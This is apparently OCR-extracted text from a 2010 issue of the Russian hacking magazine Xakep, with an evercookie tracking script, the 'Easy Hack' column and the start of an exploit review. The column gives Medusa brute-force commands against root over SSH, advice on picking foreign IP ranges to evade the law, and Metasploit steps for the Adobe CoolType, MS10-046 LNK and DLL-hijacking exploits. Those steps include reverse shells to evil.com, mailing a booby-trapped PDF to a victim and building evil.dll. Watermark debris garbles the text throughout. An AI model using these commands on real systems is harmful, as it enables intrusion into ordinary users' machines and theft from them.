книги хакеры / журнал хакер / 142_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Режим инкогнито в Chrome не спасает
для работы техник, основанных на PNG-кэшировании и использовании хранилища ETag, необходим доступ к PHP-сценариям evercookie_png.php и evercookie_etag.php. Использовать evercookie можно на любой страничке сайта, подключив следующий скрипт:
<script type="text/javascript" src="jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="swfobject-2.2.min.js"></script>
<script type="text/javascript" src="evercookie.js"></script>
<script>
var ec = new evercookie();
//устанавливаем cookie "id" со значением "12345"
//синтаксис: ec.set(key, value)
ec.set("id", "12345");
// восстанавливаем кукису с именем "id" ec.get("id", function(value) {
alert("Cookie value is " + value)
});
Есть также другой способ получения кукисов, основанный на использовании более продвинутой callback-функции. Это позволяет извлечь значения кукисов из различных используемых хранилищ и сравнить их между собой:
function getCookie(best_candidate, all_candidates)
{
alert("The retrieved cookie is: " + best_ candidate + "\n" + "You can see what each storage mechanism returned " + "by looping through the all_ candidates object.");
for (var item in all_candidates) document.write("Storage mechanism " + item + " returned: " + all_candidates[item] + "<br>");
}
ec.get("id", getCookie); </script>
Для полноценной работы evercookie необходимо наличие дополнительного SWF-файла и двух PHPсценариев
Библиотека evercookie доступна каждому. Это немного пугает, особенно если совершенно не представляешь, что можно против нее предпринять.
Как защититься?
Проблем с тем, чтобы подчистить куки в браузере и Flash'е, нет. Но попробуй удали данные везде, где наследила evercookie! Ведь если оставишь куки в одном месте — скрипт автоматически восстановит значение и во всех остальных хранилищах. По сути, эта библиотека является хорошей проверкой режима приватности, который сейчас есть практически у всех браузеров. И вот что я тебе скажу: из Google Chrome, Opera, Internet Explorer и Safari только последний в режиме
«Private Browsing» полностью блокировал все методы, используемые evercookie. То есть после закрытия и открытия браузера скрипт не смог восстановить оставленное им значение. Есть повод задуматься. Тем более что в ближайшее время разработчик evercookie обещал добавить в библиотеку еще несколько техник хранения данных, в том числе с помощью технологии Isolated Storage в Silverlight, а также Java-апплета.z
XÀÊÅÐ 11 /142/ 10 |
039 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
r |
|
|
||||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
|
|
|
ВЗЛОМ |
|
|||
|
|
|
|
|
|
|
|
|
Тюрин «GreenDog» Алексей agrrrdog@gmail.com) |
||||||
|
|
|
|
|
|
|
|
m |
|
||||||
w |
|
|
|
|
|
|
|
|
o |
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
.c |
|
|
|
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
Хакерские
секреты
Easy Hack простых
вещей
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
¹1 ЗАДАЧА: ПРОБРУТИТЬЛОГИН, ПАСС
КPOP3, FTP, SSH ИТ.Д.
РЕШЕНИЕ:
Брутфорс— вещьдостаточнополезнаяиприятная, особеннокогданет каких-точеткихограниченийповремени. Включилбрутилку— изанимайсясвоимиделами. Ачерезпарудней— плодысобирай. Даивообще, ниодинпен-тестбезбрутанеобходится. Некоторыеневерятвбрут(аты веришьвбрут? :) Типа, подборомможнозаниматьсягодами...
Носервисоввсякихмногоипоработе, иподосугу. Ккаждомупасстребуетсязнать. Аобычномуюзерутяжкоотэтого, особенносучетомкорпоративныхполитик, когдакаждыймесяцнадочто-тоновоепридумывать.
Потомуивыбираютпароливстиле:
123456 Password iloveyou princess
rockyou (название «конторы») abc123
Qwerty
Ashley babygirl monkey
Кстати, этивзятыизтопаанализа32 миллионовпаролей, выполненного компаниейImperva (imperva.com/ld/password_report.asp).
Тутужгрехнепобрутить. Аглавное— иинструментарийесть.
Несчитаявсякихспециализированныхвещиц, основнымибрутфорсера-
миявляютсяолдскульнаяTHC-Hydra (freeworld.thc.org/thc-hydra/) иболее моднаяMedusa (foofus.net/~jmk/medusa/medusa.html). Чтоприятно— и
та, идругаявходятвBackTrack4, хотяустановкаихнедолжнавызвать каких-топроблем(естьтолько*nix- версии).
Вомногомпрограммыпохожи: модульные, «многопоточные», схорошонастраиваемымивозможностями. Основноеразличиевтом, как распараллеливаетсяпроцессперебора: уMedusa — потоками, уHydra
— процессами. Чтодаетпервойнекоепреимущество. Ноестьещеболее
тонкиеразличия, особенновмодулях, такчтожелательнопосмотреть сравнениевозможностейтулзнаfoofus.net/~jmk/medusa/medusa-
Можнобрутитьследующее(общийсписок):
TELNET, AFP, CVS, FTP, HTTP, HTTPS, SOCKS5, HTTP-PROXY, IMAP, MS-SQL, PostgreSQL, MySQL, NCP (NetWare), NNTP, PCNFS, PcAnywhere, POP3, rexec, rlogin, rsh, Teamspeak, SMB, SMBNT, SAP/R3, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC, Cisco auth, ICQ, LDAPx è ò.ä.
Атеперьхорошиеновости: обапроектабыливнекомзабытьи, нотеперьза нихсновавзялисьиобещалинебросать:). ПоследняяверсияMedusa — 2.0, Hydra — 5.7. Чего-точрезвычайногоилиновогонедобавили, новсеже.
Medusa в деле. Подобрали рутовый пасс через SSH
ПарупримеровпоMedus’е. ПодбираемрутовыйпассчерезSSH:
medusa -h victim.com -u root -P passwords.txt –M ssh
Где–h, -u — задаемхостиподкемлогиниться; -P — списокпаролейдляперебора;
-M — ккакомусервисуподбираемпасс.
Любойизэлементовможнозаменитьспискомилиединичнымзначением, указавзаглавнуюилиобычнуюбуквусоответственно.
БрутимнесколькохостовпоSMB:
medusa -M smbnt -C combo.txt
Содержимоеcombo.txt имеетвид«хост:логин:пасс». Например:
192.168.0.2:administrator:password
192.168.0.2:testuser:pass
192.168.0.3:administrator:blah
192.168.0.4:user1:foopass
Возможностейпонастройкебрутареальномного, такчтоподстроить прогиподконкретныепотребностинетрудно.
Кстати, длялюбителеймышки, естьверсиягуиверсия— XHydra :).
Словаридляпереборалегконайтивинтернете. Ихтаммного. Например, наpasswords.ru естьсловарьсзаточкойпод«российскуюдействитель-
ность».
Такжеестьинтересныйпроектawlg.org/index.gen, которыйпозаданной темесоставляетсписокрелевантныхслов, используяпоисковики.
040 |
XÀÊÅÐ 11 /142/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ЗАДАЧА: БЫСТРОРАСПАКОВАТЬ
¹ 2 EXE’ШКИ, DLL’КИ
РЕШЕНИЕ:
Наверное, каждый, ктопровелзакомпьютеромприличныйкусоксвоей жизни, хотьразхотелвзломатькакую-нибудьполюбившуюсяплатную программу. Узнавалотом, какэтоделается. Возможно, пытался. Аукоготоэтодажеполучилось, ионсталзарабатыватьэтимделомсебенахлеб смаслом:). Винетепоэтомуповодумногомануалов.
Кстати, еслиестьжеланиепознать«истинысоциализма», топочитай циклстатей«Введениевкрэкингснуля, используяOllyDbg» (wasm. ru/series.php?sid=17). Онбольшой, оченьподробный, заточенныйпод практикуинетребуеткаких-тоособыхначальныхзнаний. Прочтешьи поймешь— будешьнаголовувышемногих. Качественнаявещь. Переводчикам— спасибо!
Новернемсякзадаче. Менявсегданапрягаливсякиепротекторы, шифровщики, пакерыупрограммок, когдахотелосьпо-быстромупоковырять функционал, пореверситьчуток. Копатьсяобычновременинет. Ивот, нашлосьуниверсальноесредство, решающееэтипроблемы— Quick Unpack 2.2 (qunpack.ahteam.org/?p=436). Авторам — спасибо! Спомо-
щьюнееможнообойтицелуюкучусамыхраспространенныхшифровщиков, пакеров, протекторов, обфускаторовивосстановитьисходный exe’шник. Например, восстанавливаетизUPX, ASPack, PE Diminisher,
Запаковано UPX’ом, распаковано QuickUnpack’ом
PECompact, PE-PACK, PackMan, WinUPack иещесотнидругих.
Издостоинствследуетотметить, чтовосстанавливатьможнотакже DLL’ки, естьимпортфункций, можнодампитьсампроцесс, аттачаськ нему, естьнесколькоOEP finder’ов, имеетсяподдержкаскриптового языкаLUA имногоедругое(смотрив«хелпе»). Ноэтоужедлятех, кто втеме:). Восновномжетребуетсявсегопаракликов— указатьфайл, выбратьдлянегоOEP finder ираспаковать.
¹ 3 ЗАДАЧА: ПОЛУЧИТЬТЕЛЕФОННЫЕНО-
МЕРАМОБИЛЬНЫХЮЗЕРОВ
РЕШЕНИЕ:
Цивилизацияпришлаикнам. Такиетехнологии, как3G иужеолдскульныйGPRS, увсехнаслуху, увсехвкармане. Поползатьпосетисмобильникатеперьсовсемнепроблема, ведьдажесамыепростыемодели оснащеныкаким-тобраузером. Даитарифыоператоровнекусаются. Воттолькопоявляютсякосякидругогоплана.
Напрошедшейконференции«CanSecWest 2010» исследовательCollin Mulliner представилсвоиизысканиявобластимобильныхтехнологий
(mulliner.org/security/feed/random_tales_mobile_hacker.pdf). Таммного всего— отмодификациичиталокдоDoS’амобилок. Новрамкахнашей темыинтересенразделпрораскрытиеличнойинформации, такойкак номермобильника, например.
Изэтогоизысканияследует, чтобольшинствооператоровдобавляют заголовкивHTTP-запросы. Этосвязаностем, чтокогдатывыходишьв интернетсобычнойтрубки, тотебяпускаютненапрямуювсеть, ачерез прокси, которыйидобавляетэтизаголовки. ВзависимостиотоператорамогутдобавлятьсяMSISDN (номермобильного), IMEI (уникальный номерсамоготелефона) илиIMSI (уникальныйномерсимки). Укогокак. Посути, проблемавплохосконфигурированныхпроксиках.
¹ 4 ЗАДАЧА: НАЙТИДИАПАЗОНЫIP-АДРЕ-
СОВПОГЕОГРАФИЧЕСКОЙПРИВЯЗКЕ
РЕШЕНИЕ:
Согласись, зачастую нам все равно, кто будет нашей жертвой :). Особенно, если нам требуется получить много машин и/или мы ищем их какими-то автоматизированными способами.
А чтобы защитить себя от длинных рук правосудия, мы, конечно же, используем всякие VPN’ы, проксики и другие средства для поддержания личной анонимности. Хорошим дополнением к перечисленному будет тот факт, что наши жертвы находятся в другой
Распространение личной информации Билайном: номер SIM’ки, модель телефона, что-нибудь еще?
Зачемононадо(вблагихцелях) — несовсемпонятно. Взлых— вариантовмного, конфиденциальнаяинформация, как-никак. Особенносучетомтого, чтопомобильникуоченьлегковычислитьданныевладельца. Протеститьсвоегооператораможнотут— mulliner.org/pc.cgi. ЯпроверилБилайн— получилномермобильника, егомодель, примерное положение. Думаю, уостальныхситуациянелучше.
Радует, чтопроблемакасаетсятолькотех, ктоползаетчерезваповый инет, тоестьпользователиКПК, всевозможныхглазофонови3G-моде- мовмогутспатьспокойно, таккакихнепропускаютчереззлосчастный прокси.
стане или на другом континенте. Тогда негативного фидбека можно не опасаться. Задача на деле простая, и не совсем понятно, почему она вызывает у людей какие-то трудности.
Естьмножествосайтовтипаipaddresslocation.org, worldips.info, где всеголишьтребуетсявыбратьстрануинампокажутдиапазоныIPадресов.
К тому же, у регистраторов (RIPE, RIPN, etc.) есть поиск по базам.
У RIPN’а (ru-center) он выделился в сайд-проект ipgeobase.ru. Так что мы можем найти диапазон, принадлежащий либо какой-то компании, либо какому-то конкретному лицу, либо находящийся в каком-то городе. Раздолье :). Не стоит забывать и о стандартном whois’е.
XÀÊÅÐ 11 /142/ 10 |
041 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
|
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|||
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
ЗАДАЧА:ВКЛЮЧАЕММЕХАНИЗМЫЗА- ¹ 5 ЩИТЫWINDOWS ДЛЯПО, КОТОРОЕИХ
НЕПОДДЕРЖИВАЕТ
РЕШЕНИЕ:
ЕслитыбылнаCC’10, тонавернякапосетилипрониксясеминаром АлексеяСинцова— «ОбходзащитныхмеханизмоввОСWindows». В зависимостиоттого, закакойбаррикадойнаходишьсяты, тебемогло статьлиборадостно, либострашно:). Докладклассный, егоможнонайти наparty10.cc.org.ru.
Подведемитог: микрософтовцы, вобщем, молодцы— внедриливWin7 множестворазныхмеханизмов. Ивопределенныхситуацияхможно дажесоздать«непробиваемую» систему. Воттолькоосновнаяпроблемавтом, чтодляиспользованияэтихмеханизмовисамоПО, ивсеего модулидолжныбытьсобранысихподдержкой. Асторонниепроизводители(дажегранды, например, Adobe, Mozillа) сэтимгрешат. Впрошлом номереяписалотом, вкакомширокораспространенномПОотсутствует поддержкаDEP, ASLR ит.д.
Чтоещехуже— конечномупользователюнаэтоособонеповлиять. Типа, исходниковнет— перекомпилитьнеможешь. Нотакбылодонедавнего времени.
Возрадуемся! MS выпустиланеофициальнуютулзу, аточнее, еевторую версию, котораяпоможетнамподключатьнеобходимыемеханизмы(и дажебольше) дляпроцессов, внезависимостиотсборкипрограммы.
Имяей— EMET 2.0, Enhanced Mitigation Experience Toolkit (blogs.technet. com/b/srd/archive/2010/09/02/enhanced-mitigation-experience-toolkit- emet-v2-0-0.aspx)
СпомощьюнееможнокакнастроитьобщиеполитикиивключитьDEP, SEHOP, ASLR длявсейсистемы, такивыполнитьнастройкидляконкретногоприложения. Еслиточнее, тоонапозволяетвключитьдляПОиего модулей(внезависимостиоттого, скакимиопциямионисобраны) следующиевозможности: стандартныеDEP, ASLR, SEHOP, атакжезащитуот heapspay’евишеллкодов.
Надо, конечно, понимать, чтоневсеПОбудеткорректноработать. Нов определенныхситуацияхэтопомогает. ПримерестьнасайтеMS: 0day-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
Принудительное включение ASLR для Acrobat Reader’а. DLL’ка EMET’а смещает не-ASLR-модули, и ROP уже не сработает
эксплойтдляAcrobat Reader подWin7 собходомDEP, используяROP, не работает, таккакне-ASLR-библиотекабыласмещенавпамятиEMET’ом
(blogs.technet.com/b/srd/archive/2010/09/10/use-emet-2-0-to-block-the- adobe-0-day-exploit.aspx)
Видеопотеметамже: technet.microsoft.com/en-us/security/ff859539. aspx
ПрограммаработаетминимумнаWinXP c SP3, ноподдержкиSEHOP и ASLR тебеэтонедаст. Такчтополнуюрадостьможнополучитьтолькона
Win7 иWin2008.
¹ 6 ЗАДАЧА: АТАКУЕМПРОСТЫХЮЗЕРОВ,
ИСПОЛЬЗУЯCLIENT-SIDE-СПЛОИТЫ
РЕШЕНИЕ:
Компьютерытеперьвездеився. Несчастныхюзеровполным-полно. Почемунесчастных? Дапотомучтовомногомонисталиосновнойцелью для«хакерскихатак» :). Особенносразвитиемвсякихсистемпереводов, интернет-банкингаидругихвидовэлектронныхденег. Теперьснятьпрофит собычногоюзера— непроблема. Иэтоуженесчитаяклассикитипаспама, ботнетов, DoS’ов, кражиконфиденциальноинформации. Антивирусы, файеры, IDS’ы, системыобновленияПО. Сэндбоксыспасаюттолько небольшуютолпупродвинутыхюзеров/фирм, таккакихнадоинастроить, иправильнореагироватьнаугрозы, икупитьсамоПО. Витогеимеем широкийвыборизмиллионовменеджеров/бухгалтеровдля«работы» с ними:). Атутещеиреальнокритическиеуязвимостиоттакихконтор, как Microsoft иAdobe, чьеПОявляетсяде-фактостандартомпомиру. Да, вэтом смыслелетобылобогатым! Вкачествепримераяприведутрисплоита: Adobe Acrobat PDF Cooltype Sing (версии<=9.3.4/8.2.4), MS DLL Hijacking, MS LNK сплоит(MS10-046). Описаниеподробностейсплоитовтыможешь прочитатьв«Обзореэксплойтов» отАлексеяСинцовавэтомивпрошлом номерах. Какнистранно, всепримерыреализованыспомощьюMetasploit Framework. ТутнадоотдатьдолжноесоздателямMSF — оничрезвычайно быстросталидобавлятьсплоитыксамыммассовымкритическимуязвимостям. Некоторыереализацииуязвимостейивовсепоявляютсясразув MSF, безстороннихPoC’ов. Всетриперечисленныеуязвимостибыли0-day, когдапопаливMSF. Сейчасужеестькое-какиепатчи, новернемсякделу.
1)Adobe Acrobat PDF Cooltype Sing. Adobe этимлетомдалмирунесколько суровыхдыр. Этооднаизних. Заходимвmsfconsole и:
Тестим сплоит под Acrobat Reader. Нагрузка — калькулятор :)
Выбираем сплоит:
msf > use exploit/windows/fileformat/adobe_cooltype_ sing
Задаем имя файла:
msf > set FILENAME xakep_ubileinyi_vypusk.pdf Куда сохраняем? В home:
msf > set OUTPUTPATH ~
Выбираем нагрузку и ее настройки:
msf > set PAYLOAD windows/shell/reverse_tcp msf > set LHOST evil.com
042 |
XÀÊÅÐ 11 /142/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Бэкдор через презентацию MS Office
msf > set LPORT 80
Теперьнанашevil.com вешаемnetcat, например, ипосылаемжертве файликпопочте.
Простойреверсовыйшеллнужен, во-первых, чтобыобойтиNAT, файер, аво-вторых, чтобынепривязыватьсякпроцессу(чтобысоединениене оборвалосьпризакрытииAcrobat Reader’а).
Естьаналогичныйсплоит, нопроводящийатакучерезбраузери
Adobe’овскийплагинкнему— exploit/windows/browser/adobe_cooltype_ sing.
2)MS LNK сплоит(MS10-046). Сплоитизразрядафич:)
Выбираем сплоит:
msf >use windows/browser/ms10_046_shortcut_icon_ dllloader
Настраиваем пэйлоад:
msf >set PAYLOAD windows/meterpreter/reverse_tcp msf >set LHOST 192.168.0.101
Посути, сплоитподнимаетWebDAV икидаеттудаярлыки. Врезультате либодаембедномупользователюполученнуюссылку, либоделаем ярлычокнаресурс. Тоестьсплоитизлокальногосталудаленным(через шаруиWebDAV). Павнимбедногоюзера— емуврядличто-топоможет:). ЗлуюDLL’кудляэтогоиследующегосплоитаможносоздатьиручками. Ярлычок, понятноедело, тоже.
$msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 D > evil.dll
Где:
windows/meterpreter/reverse_tcp — название нагрузки,
XÀÊÅÐ 11 /142/ 10
LHOST=192.168.0.101 — настройки D — указываем, что создаем DLL’ку; evil.dll — имя итогового файла.
3) MS DLL Hijacking
Этооченьзабавнаявещь! Сеепомощьюмыфактическиможем«превратить» любоймиролюбивыйформатфайлавочто-тозлое. Пришлюттебефайлыскакой-нибудьпрезентациейиличертежами AutoCAD’а, например. Асрединихкакая-тобиблиотечкаваляется. Бываетведь. Ты, конечноже, запустишьсамчертеж, атут— бац! — иутебя бэкдор. Хорошеедело!
Подробноеописание«почемуизачемтак» смотринаследующейстраницеуАлексеяСинцова:).
Атеперь— немногопрактики:
Выбираем сплоит:
msf > use windows/browser/webdav_dll_hijacker Задаем имя файлов:
msf > set BASENAME policy Задаем расширение файла: msf > set EXTENSIONS ppt Имя для шары:
msf > set SHARENAME docs
Нагрузка:
msf > set PAYLOAD windows/meterpreter/bind_tcp
Послеэтоголибовпариваемжертвессылкунашару— \\192.168.0.101\ docs\, либонаHTTP-сервак— http://192.168.0.101:80. Жертваоткрывает файлик— мыполучаемшелл. Честныйобмен:).
Опятьже, посути, локальнаяуязвимостьпревратиласьвудаленнуюза счетшарыиWebDAV. z
043
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
w Click |
to |
|
|
|
|
|
|
ВЗЛОМ |
|
||||
|
|
|
|
|
|
m |
Алексей Синцов, Digital Security a.sintsov@dsec.ru |
||||||
|
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
Разбираем
свежие
ОБЗОР
уязвимости
ЭКСПЛОЙТОВ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
01DLL HIJACKING
TARGETS
•Windows XP
•WIndows 7
•Windows 2000/2003/2008
CVE
N/A
BRIEF
Очереднаяуязвимость-фичаоткомпанииMicrosoft. Наэтотраз «фича» позволяетвыполнитьпроизвольныйкоднаудаленнойсистеме. Началосьвсестого, чтоисследовательСаймонРэйнер(Simon Raner) изкомпанииArcos отправилвApple iTunes отчетобуязвимости, вернее, обособенностизагрузкиDLL-библиотеквовремя запускаприложения. Подробностейуязвимостионинесообщили, таккакэто«оченьопасно», ивозможнаугрозапоявлениячервя. Суть угрозы— выполнениепроизвольногокода, втомчислеиудаленно черезрасшареныересурсыиWebDAV. Спустянесколькоднейобэтой угрозеговорилкаждый, ктохотькак-тосоприкасаетсясИБ. Оказывается, делонетольковApple iTunes, аещеивособенностяхподгрузки DLL, иуязвимоможетбытьлюбоеприложение. Тутстоитотметить, чтонадворе2010 год, алюдистакимвоодушевлениемобсуждают уязвимость, котораябылавпабликеажс2000 года. Деловтом, что10 летназадзнаменитыйГеоргийГунински(Georgi Guninski) написалв багтрекзаметкуотом, чтоWindows имеетпроблемысочередностью выборапутиприпоиске.DLL-файлов, ивыложилэксплойткMicrosoft Office. КорпорацияМелкоМягкихпочесалазаухомиизменилапоследовательность, но, ксожалению, этонесильнопомогло, таккаксуть проблемы, вконечномсчете, осталасьнерешенной. ВитогепрограммистысамидолжныучитыватьособенностиОСпризагрузкебиблиотек(естественно, ониэтогонеделают, 